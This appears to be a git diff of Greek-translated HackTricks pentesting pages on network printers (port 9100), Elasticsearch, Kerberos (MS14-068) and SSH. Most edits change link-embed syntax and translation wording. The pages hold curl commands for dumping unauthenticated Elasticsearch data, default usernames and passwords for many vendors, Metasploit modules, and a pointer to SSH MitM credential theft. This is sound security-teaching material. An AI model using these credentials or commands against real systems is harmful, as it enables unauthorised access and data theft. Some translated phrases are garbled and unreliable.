https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} {{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %} {{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %} {{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} {{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %} {{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} {{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} {{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %} {{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %} {{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %} {{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %} {{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %} {{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %} {{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %} {{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %} {{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %} {{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %} {{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@
Για περισσότερες πληροφορίες ελέγξτε: Για περισσότερες πληροφορίες ελέγξτε:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# Βασικές Πληροφορίες # Βασικές Πληροφορίες
Από [εδώ](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης με την θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνεί με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως _η πιο απλή, γρήγορη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές_. Η ακατέργαστη εκτύπωση στη θύρα 9100, που αναφέρεται επίσης ως JetDirect, AppSocket ή PDL-datastream, στην πραγματικότητα **δεν είναι πρωτόκολλο εκτύπωσης από μόνη της**. Αντίθετα, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται άμεσα από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, IPP και SMB, αυτό μπορεί να στείλει άμεση ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένα τέτοιο **αμφίδρομο κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των **PJL**, **PostScript** ή **PCL** εντολών. Επομένως, η ακατέργαστη εκτύπωση στη θύρα 9100 που υποστηρίζεται από σχεδόν οποιονδήποτε δικτυακό εκτυπωτή χρησιμοποιείται ως κανάλι για την ανάλυση ασφάλειας με το PRET και το PFT. Από [εδώ](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης με την θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνεί με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως _η πιο απλή, γρήγορη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές_. Η ακατέργαστη εκτύπωση στη θύρα 9100, που αναφέρεται επίσης ως JetDirect, AppSocket ή PDL-datastream, στην πραγματικότητα **δεν είναι ένα πρωτόκολλο εκτύπωσης από μόνο του**. Αντίθετα, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται άμεσα από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, IPP και SMB, αυτό μπορεί να στείλει άμεση ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένα τέτοιο **αμφίδρομο κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των **PJL**, **PostScript** ή **PCL** εντολών. Επομένως, η ακατέργαστη εκτύπωση στη θύρα 9100 που υποστηρίζεται από σχεδόν οποιονδήποτε δικτυακό εκτυπωτή χρησιμοποιείται ως το κανάλι για την ανάλυση ασφάλειας με το PRET και το PFT.
Αν θέλετε να μάθετε περισσότερα για [**την εκτύπωση hacking διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page). Αν θέλετε να μάθετε περισσότερα για [**την εκτύπωση hacking διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -10,7 +10,7 @@
``` ```
9100/tcp open jetdirect 9100/tcp open jetdirect
``` ```
# Απαρίθμηση # Αρίθμηση
## Χειροκίνητα ## Χειροκίνητα
```bash ```bash
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
Αυτό είναι το εργαλείο που θέλετε να χρησιμοποιήσετε για να εκμεταλλευτείτε τους εκτυπωτές: Αυτό είναι το εργαλείο που θέλετε να χρησιμοποιήσετε για να εκμεταλλευτείτε τους εκτυπωτές:
{% embed url="https://github.com/RUB-NDS/PRET" %} {{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan** # **Shodan**

View File

@ -4,15 +4,15 @@
## Basic information ## Basic information
Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. Το Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστό για την **ταχύτητά** του, την **κλιμάκωσή** του και τις **απλές REST APIs**. Χτισμένο πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats.
### What is an Elasticsearch index? ### What is an Elasticsearch index?
Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.). Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, boolean, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.).
Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη. Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη.
Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON εντός ενός συγκεκριμένου δείκτη. Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON μέσα σε έναν συγκεκριμένο δείκτη.
**Default port**: 9200/tcp **Default port**: 9200/tcp
@ -28,7 +28,7 @@ Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού
### Authentication ### Authentication
**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε διαπιστευτήρια. **Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε οποιαδήποτε διαπιστευτήρια.
Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς: Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς:
```bash ```bash
@ -40,7 +40,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
``` ```
Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\ Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\
Εδώ έχετε μια **λίστα με τα προεπιλεγμένα ονόματα χρηστών**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη. Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη.
``` ```
curl -X GET http://user:password@IP:9200/ curl -X GET http://user:password@IP:9200/
``` ```
@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
``` ```
### Elastic Info ### Elastic Info
Ακολουθούν μερικά endpoints που μπορείτε να **πρόσβαση μέσω GET** για να **λάβετε** κάποιες **πληροφορίες** σχετικά με το elasticsearch: Εδώ είναι μερικά endpoints που μπορείτε να **πρόσβαση μέσω GET** για να **λάβετε** κάποιες **πληροφορίες** σχετικά με το elasticsearch:
| \_cat | /\_cluster | /\_security | | \_cat | /\_cluster | /\_security |
| ------------------------------ | ----------------------------- | ------------------------ | | ------------------------------ | ----------------------------- | ------------------------ |
@ -118,7 +118,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε
### Dump all ### Dump all
Για να εξάγετε όλα μπορείτε απλά να πάτε στον **ίδιο δρόμο όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\ Για να εξάγετε όλα μπορείτε απλά να πάτε στο **ίδιο μονοπάτι όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\
Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε **μεγαλύτερο αριθμό αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες. Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε **μεγαλύτερο αριθμό αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες.
### Search ### Search
@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```bash ```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum msf > use auxiliary/scanner/elasticsearch/indices_enum
``` ```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} {{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan ## Shodan
- `port:9200 elasticsearch` - `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
# **Προεπιλεγμένοι κωδικοί πρόσβασης** # **Προεπιλεγμένοι κωδικοί πρόσβασης**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} {{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# Αρχεία ρυθμίσεων # Αρχεία ρυθμίσεων
```text ```text

View File

@ -6,16 +6,16 @@
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας. **Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τις άδειες που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας. Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχονται από το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
**Default Port:** 88/tcp/udp **Default Port:** 88/tcp/udp
``` ```
PORT STATE SERVICE PORT STATE SERVICE
88/tcp open kerberos-sec 88/tcp open kerberos-sec
``` ```
### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με το** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.** ### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
## Περισσότερα ## Περισσότερα
@ -25,9 +25,11 @@ PORT STATE SERVICE
### MS14-068 ### MS14-068
Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory forest. Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλη την Active Directory δασοκομία.
{% embed url="https://adsecurity.org/?p=541" %} {{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Άλλες εκμεταλλεύσεις: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) Άλλες εκμεταλλεύσεις: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)

View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## Basic Information
**SSH (Secure Shell ή Secure Socket Shell)** είναι ένα πρωτόκολλο δικτύου που επιτρέπει μια ασφαλή σύνδεση σε έναν υπολογιστή μέσω ενός μη ασφαλούς δικτύου. Είναι απαραίτητο για τη διατήρηση της εμπιστευτικότητας και της ακεραιότητας των δεδομένων κατά την πρόσβαση σε απομακρυσμένα συστήματα. **SSH (Secure Shell ή Secure Socket Shell)** είναι ένα πρωτόκολλο δικτύου που επιτρέπει μια ασφαλή σύνδεση σε έναν υπολογιστή μέσω ενός μη ασφαλούς δικτύου. Είναι απαραίτητο για τη διατήρηση της εμπιστευτικότητας και της ακεραιότητας των δεδομένων κατά την πρόσβαση σε απομακρυσμένα συστήματα.
@ -16,7 +14,7 @@
- [openSSH](http://www.openssh.org) OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10 - [openSSH](http://www.openssh.org) OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συνήθως αλλά η χρήση του διακομιστή είναι σπανιότερη - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συχνά αλλά η χρήση του διακομιστή είναι σπανιότερη
- [CopSSH](https://www.itefix.net/copssh) Υλοποίηση του OpenSSH για Windows - [CopSSH](https://www.itefix.net/copssh) Υλοποίηση του OpenSSH για Windows
**SSH libraries (implementing server-side):** **SSH libraries (implementing server-side):**
@ -119,7 +117,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys
#### Γνωστά κακά κλειδιά μπορούν να βρεθούν εδώ: #### Γνωστά κακά κλειδιά μπορούν να βρεθούν εδώ:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} {{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Αδύναμα κλειδιά SSH / Προβλέψιμο PRNG Debian #### Αδύναμα κλειδιά SSH / Προβλέψιμο PRNG Debian
@ -135,25 +135,25 @@ msf> use scanner/ssh/ssh_identify_pubkeys
## Προεπιλεγμένα Διαπιστευτήρια ## Προεπιλεγμένα Διαπιστευτήρια
| **Προμηθευτής** | **Ονόματα Χρηστών** | **Κωδικοί Πρόσβασης** | | **Προμηθευτής** | **Ονόματα Χρηστών** | **Κωδικοί Πρόσβασης** |
| ---------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc | | APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne | | Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user | | D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen | | Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 | | NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM ## SSH-MitM
Αν βρίσκεστε στο τοπικό δίκτυο ως το θύμα που πρόκειται να συνδεθεί στον διακομιστή SSH χρησιμοποιώντας όνομα χρήστη και κωδικό πρόσβασης, μπορείτε να προσπαθήσετε να **εκτελέσετε μια επίθεση MitM για να κλέψετε αυτά τα διαπιστευτήρια:** Εάν βρίσκεστε στο τοπικό δίκτυο ως το θύμα που πρόκειται να συνδεθεί στον διακομιστή SSH χρησιμοποιώντας όνομα χρήστη και κωδικό πρόσβασης, μπορείτε να προσπαθήσετε να **εκτελέσετε μια επίθεση MitM για να κλέψετε αυτά τα διαπιστευτήρια:**
